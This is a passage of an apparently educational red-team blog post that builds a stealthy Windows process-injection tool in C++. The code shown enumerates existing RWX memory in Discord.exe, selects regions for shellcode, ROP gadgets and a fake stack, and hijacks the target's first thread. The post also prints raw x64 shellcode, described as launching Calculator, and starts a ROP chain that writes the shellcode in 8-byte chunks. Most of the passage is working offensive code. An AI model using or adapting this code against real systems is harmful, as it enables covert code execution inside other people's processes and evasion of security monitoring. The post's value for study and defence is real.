        <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">();</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"["</span> <span class="o">&lt;&lt;</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="s">L"] Address: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setfill</span><span class="p">(</span><span class="sc">L'0'</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setw</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
                <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">baseAddress</span> <span class="o">&lt;&lt;</span> <span class="s">L" | Size: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span>
                <span class="o">&lt;&lt;</span> <span class="s">L" ("</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Module: "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">info</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Select region for shellcode</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[?] Select region for SHELLCODE (1-"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L"): "</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">shellcodeChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">shellcodeChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">ignore</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">shellcodeChoice</span> <span class="o">&lt;</span> <span class="mi">1</span> <span class="o">||</span> <span class="n">shellcodeChoice</span> <span class="o">&gt;</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">())</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Invalid choice!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">shellcodeChoice</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Shellcode region selected: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Select region for gadgets</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[?] Select region for GADGETS (1-"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L", different from "</span>
            <span class="o">&lt;&lt;</span> <span class="n">shellcodeChoice</span> <span class="o">&lt;&lt;</span> <span class="s">L"): "</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">gadgetsChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">gadgetsChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">ignore</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">gadgetsChoice</span> <span class="o">&lt;</span> <span class="mi">1</span> <span class="o">||</span> <span class="n">gadgetsChoice</span> <span class="o">&gt;</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">||</span> <span class="n">gadgetsChoice</span> <span class="o">==</span> <span class="n">shellcodeChoice</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Invalid choice (must be different from shellcode region)!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">gadgetsChoice</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Gadgets region selected: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Select region for clean stack</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[?] Select region for CLEAN STACK [!!!You must choose a region with size &gt;= 0x4000 (16kb) !!!] (1-"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L", different from "</span>
            <span class="o">&lt;&lt;</span> <span class="n">shellcodeChoice</span> <span class="o">&lt;&lt;</span> <span class="s">L" and "</span> <span class="o">&lt;&lt;</span> <span class="n">gadgetsChoice</span> <span class="o">&lt;&lt;</span> <span class="s">L"): "</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">stackChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">stackChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">ignore</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">stackChoice</span> <span class="o">&lt;</span> <span class="mi">1</span> <span class="o">||</span> <span class="n">stackChoice</span> <span class="o">&gt;</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">||</span>
            <span class="n">stackChoice</span> <span class="o">==</span> <span class="n">shellcodeChoice</span> <span class="o">||</span> <span class="n">stackChoice</span> <span class="o">==</span> <span class="n">gadgetsChoice</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Invalid choice (must be different from shellcode and gadgets regions)!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">stackChoice</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Stack region selected: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Memory allocation summary:"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Shellcode: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Gadgets:   0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Stack:     0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Okay, so now we have our ROP gadgets identified and our lookup function ready to go, as well as our RWX memory lookup function.  Let’s continue building this out!</p>

<p>Next up, hijacking a thread 🧵</p>

<h2 id="hijacking-an-existing-thread">Hijacking an existing Thread</h2>

<p>I went back and forth on this one.  I thought about whether I wanted to just get the first thread we encounter in our thread lookup routine or specifically get just worker threads.  Believe it or not, worker threads sometimes took forever to execute the final shellcode.  So, I just stuck with using the first thread returned from a basic lookup. Here’s what that looks like in System Informer when we hijack a thread and suspend it.  Notice the odd memory address that stands out in the hijacked thread.  That’s us! 😺</p>

<p><img width="740" height="434" alt="image" src="https://github.com/user-attachments/assets/4e304d26-761f-4782-ab2f-85cbd52b5722" /></p>

<p>Now for the code.  In the code below, we grab a snapshot of all running threads and then sift through them all, looking for the first thread that matches our remote PID (processID) and return it!  It’s as simple as that.  Once we return the found thread, I added some code to output what the threadId was so you can look it up yourself in System Informer if you like 😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="nf">FindThreadId</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">pid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">THREADENTRY32</span> <span class="n">te</span><span class="p">{};</span>
    <span class="n">te</span><span class="p">.</span><span class="n">dwSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">te</span><span class="p">);</span>

    <span class="n">HANDLE</span> <span class="n">snap</span> <span class="o">=</span> <span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPTHREAD</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">snap</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">Thread32First</span><span class="p">(</span><span class="n">snap</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">te</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">do</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">te</span><span class="p">.</span><span class="n">th32OwnerProcessID</span> <span class="o">==</span> <span class="n">pid</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">snap</span><span class="p">);</span>
                <span class="k">return</span> <span class="n">te</span><span class="p">.</span><span class="n">th32ThreadID</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">Thread32Next</span><span class="p">(</span><span class="n">snap</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">te</span><span class="p">));</span>
    <span class="p">}</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">snap</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The code below calls the <code class="language-plaintext highlighter-rouge">FindThreadID</code> function and then opens the hijacked thread, saving the handle to <code class="language-plaintext highlighter-rouge">hThread</code>.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="n">tid</span> <span class="o">=</span> <span class="n">FindThreadId</span><span class="p">(</span><span class="n">pid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">tid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"Failed to find thread</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Thread Id found!  ThreadID:"</span> <span class="o">&lt;&lt;</span> <span class="n">tid</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">OpenThread</span><span class="p">(</span>
    <span class="n">THREAD_ALL_ACCESS</span><span class="p">,</span>
    <span class="n">FALSE</span><span class="p">,</span>
    <span class="n">tid</span>
<span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hThread</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"OpenThread failed</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At this point, we have accomplished the following tasks as it pertains to LOTP artifacts:</p>

<ul>
  <li><strong>Using existing, running/active code within the process itself as ROP gadgets</strong></li>
  <li><strong>Use of existing/already created RWX memory</strong></li>
  <li><strong>Hijacking an existing Thread in the remote process</strong></li>
</ul>

<p>Let’s get a visual for what that looks like shall we?  So, here’s where we find the gadgets using our compiled code (I’ll share the full code later I promise 😸):</p>

<p><img width="494" height="225" alt="image" src="https://github.com/user-attachments/assets/860ae69b-37b2-473d-93eb-11faa6ff38ad" /></p>

<p>Next up, we need to pick the discovered RWX regions of memory available to the process.  I’m targeting <code class="language-plaintext highlighter-rouge">Discord.exe</code> as it’s very generous with providing pre-existing RWX memory 😺  Go ahead and follow the input prompts make your selections.  Just make sure when you pick the fake <code class="language-plaintext highlighter-rouge">stack memory</code>, that you pick an entry that is listed as <code class="language-plaintext highlighter-rouge">0x4000</code> or greater.  I’ve highlighted them in the visual below:</p>

<p><img width="492" height="255" alt="image" src="https://github.com/user-attachments/assets/731ecd92-7cb1-4298-937b-35e924081626" /></p>

<p>Once you make your selection, our program will then assign each respective allocated memory region to the appropriate variable.  We will also hijack the first thread we come across in the remote process.  Here’s how my selection process went:</p>

<p><img width="482" height="410" alt="image" src="https://github.com/user-attachments/assets/92618f1e-e703-48ba-a4ff-b55a39281e64" /></p>

<p>Next up, we need to build out our <code class="language-plaintext highlighter-rouge">ROP chain</code> and also generate some <code class="language-plaintext highlighter-rouge">assembly stubs</code> to handle increasing our <code class="language-plaintext highlighter-rouge">RAX</code> and <code class="language-plaintext highlighter-rouge">R8</code> register by 8 so we can cycle through all our shellcode in 8-byte chunks.  We also need to add the 8-byte shellcode chunks to our dedicated shellcode memory region, moving to the next 8th byte in memory until we write all the shellcode.  Oh, and it would help if I let you see the shellcode we’re using too 😆  I’ll show you that in the next section.  Let’s go!</p>

<h2 id="building-out-the-rop-chain">Building out the ROP Chain</h2>

<p>Okay, so now we are ready to start building out our ROP chain using the previously collected ROP gadgets, as well as creating some small assembly stubs to help with keeping track of where we are in our 8 byte shellcode chunks.  We also need to keep track of the memory address we’re copying/writing our shellcode stubs to.  It will also increment by 8 bytes.  Before I forget, here’s the shellcode we will be working with and copying in 8 byte chunks:</p>

<p>It’s just some custom shellcode I wrote myself that executes the Windows Calculator:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode_base</span><span class="p">[]</span> <span class="o">=</span>
<span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0xf0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd1</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0x96</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xf7</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xc4</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0xcc</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc7</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0x9e</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0xd1</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xf7</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe1</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xd7</span> <span class="p">};</span>
</code></pre></div></div>

<p>We start out by determining how many 8-byte chunks we need to create and also preparing our assembly stubs.  I’ll explain those in greater detail soon.  Both the ROP gadget chain and assembly stubs will be present within the gadget allocated memory region.  The gadgets will be at and the assembly stubs will be at <code class="language-plaintext highlighter-rouge">remoteGadgets + 0x800</code>.  Let’s check it out with some visuals and I’ll also include code to follow along with after the visuals.</p>

<p><img width="469" height="192" alt="image" src="https://github.com/user-attachments/assets/d0407aa1-02c6-4da8-8679-c6846a235b0e" /></p>

